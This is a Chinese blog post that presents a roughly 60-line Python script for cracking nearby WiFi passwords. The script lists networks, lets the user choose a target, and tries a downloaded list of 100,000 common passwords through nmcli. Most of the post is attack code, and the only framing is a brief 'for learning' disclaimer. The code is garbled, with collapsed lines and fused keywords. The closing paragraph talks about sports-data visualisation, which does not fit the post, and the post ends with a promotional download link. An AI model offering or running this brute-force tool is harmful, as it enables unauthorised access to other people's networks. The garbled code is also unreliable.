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解锁 WiFi 密码,我只用了 60 行代码....

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Jackpop
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发布于: 3 小时前

程序员宝藏库:https://github.com/Jackpopc/CS-Books-Store


WiFi 现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连上 WiFi。


因此,我们对 WiFi 密码的需求也没有之前那么迫切了。


如何破解 WiFi 密码?


本文,将会通过 Python 教大家如何实现,这里纯粹是为了学习用途。

1. WiFi 列表

首先,我们需要获取附近的 WiFi 列表。


下面,就来写一个函数来获取附近的 WiFi 列表,函数命名为display_targets


def display_targets(networks, security_type):  print("Select a target: \n")      rows, columns = os.popen('stty size', 'r').read().split()  for i in range(len(networks)):    width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2    spacer = " "        if (int(columns) >= 100):      calc = int((int(columns)-int(width))*0.75)    else:          calc = int(columns)-int(width)          for index in range(calc):      spacer += "."      if index == (calc-1):        spacer += " "            print(str(i+1)+". "+networks[i]+spacer+security_type[i])
复制代码


这里,我们会用到ssid工具包,用来获取附近的 WiFi 列表,存入到参数networks


2. 选择 WiFi

获取 WiFi 列表之后,下一步要做的就是选择我们想要连接的 WiFi,


def prompt_for_target_choice(max):    whileTrue:        try:            selected = int(input("\nEnter number of target: "))            if(selected >= 1and selected <= max):                return selected - 1        except Exception as e:            ignore = e
print("Invalid choice: Please pick a number between 1 and " + str(max))
复制代码


这里很简单,就是一些通用的 Python 功能。

3. 暴力破解

目前已经获取并且选择了想要连接的 WiFi,那么如何获取到它的密码呢?


这里要用到一种比较常见的方式:暴力破解


这里,要用到 Github 上一个项目,它收集了最常用的 10 万个 WiFi 密码。我们就用着 10 万个密码暴力解锁 WiFi 即可。


def brute_force(selected_network, passwords, args):    for password in passwords:        # necessary due to NetworkManager restart after unsuccessful attempt at login        password = password.strip()
# when when obtain password from url we need the decode utf-8 however we doesnt when reading from file if isinstance(password, str): decoded_line = password else: decoded_line = password.decode("utf-8") if args.verbose isTrue: print(bcolors.HEADER+"** TESTING **: with password '" + decoded_line+"'"+bcolors.ENDC)
if (len(decoded_line) >= 8): time.sleep(3)
creds = os.popen("sudo nmcli dev wifi connect " + selected_network+" password "+decoded_line).read() # print(creds)
if ("Error:"in creds.strip()): if args.verbose isTrue: print(bcolors.FAIL+"** TESTING **: password '" + decoded_line+"' failed."+bcolors.ENDC) else: sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" + decoded_line+"' succeeded."+bcolors.ENDC) else: if args.verbose isTrue: print(bcolors.OKCYAN+"** TESTING **: password '" + decoded_line+"' too short, passing."+bcolors.ENDC)
print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)
复制代码


核心功能 3 个函数就完成了,只用了 60 行 Python 代码!


下面就把它们串联在一起:


def main():    require_root()    args = argument_parser()
# The user chose to supplied their own url if args.url isnotNone: passwords = fetch_password_from_url(args.url) # user elect to read passwords form a file elif args.file isnotNone: file = open(args.file, "r") passwords = file.readlines() ifnot passwords: print("Password file cannot be empty!") exit(0) file.close() else: # fallback to the default list as the user didnt supplied a password list default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt" passwords = fetch_password_from_url(default_url)
# grabbing the list of the network ssids func_call = start(1) networks = func_call[0] security_type = func_call[1] ifnot networks: print("No networks found!") sys.exit(-1)
display_targets(networks, security_type) max = len(networks) pick = prompt_for_target_choice(max) target = networks[pick] print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")
brute_force(target, passwords, args)
复制代码


执行函数,就会在命令行下显示附近的 WiFi 列表,选择之后就开始逐个尝试密码。



不同的颜色代表不同不同的结果:


  • 红色:测试失败

  • 绿色:破解成功

  • 紫色:测试中


现在,是不是发现这个看上去很复杂的事情变得简单许多?

结语

运动中充满了各种不同维度的数据,上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。


希望,能够对你有所启示,能够发掘更有价值、有趣的信息,在学习和乐趣中得到最佳的实践。


大家好,我是 Jackpop!我花费了半个月的时间把这几年来收集的各种技术干货整理到一起,其中内容包括但不限于 Python、机器学习、深度学习、计算机视觉、推荐系统、Linux、工程化、Java,内容多达 5T+,获取方式:https://pan.baidu.com/s/1eks7CUyjbWQ3A7O9cmYljA(提取码:0000)

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还未添加个人签名 2020.09.16 加入

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